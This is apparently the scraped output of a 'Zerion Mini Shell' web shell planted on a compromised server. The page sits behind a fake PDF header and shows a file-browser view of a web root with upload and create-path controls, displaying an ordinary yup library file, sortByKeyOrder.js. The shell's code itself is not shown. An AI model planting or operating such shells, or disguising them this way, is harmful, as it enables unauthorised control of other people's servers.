%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/yup/lib/util/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/yup/lib/util/sortByKeyOrder.js

"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = sortByKeyOrder;

function findIndex(arr, err) {
  let idx = Infinity;
  arr.some((key, ii) => {
    var _err$path;

    if (((_err$path = err.path) == null ? void 0 : _err$path.indexOf(key)) !== -1) {
      idx = ii;
      return true;
    }
  });
  return idx;
}

function sortByKeyOrder(keys) {
  return (a, b) => {
    return findIndex(keys, a) - findIndex(keys, b);
  };
}

Zerion Mini Shell 1.0